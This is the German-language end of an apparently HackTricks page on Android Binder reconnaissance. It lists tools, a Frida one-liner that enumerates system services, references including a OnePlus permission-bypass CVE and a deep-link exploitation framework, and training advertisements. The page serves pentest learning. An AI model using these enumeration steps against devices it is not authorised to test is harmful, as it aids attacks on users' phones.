Tools / Skripte, die die Binder reconnaissance beschleunigen:
- binderfs – stellt
/dev/binderfsmit pro-Service-Knoten bereit binder-scanner.py– durchläuft die Binder-Tabelle und gibt ACLs aus- Frida-Kurzbefehl:
Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))
Referenzen
- Android Services 101 – Pentest Partners
- Android Developer Docs – AIDL
- Android Developer Docs – IBinder
- Understanding Binder, Talk @ Google
- CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)
- Android docs: Content providers
- Android manifest provider: readPermission
- Android manifest provider: writePermission
- Android ContentResolver.update()
- Deep-C – Android deep link exploitation framework
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


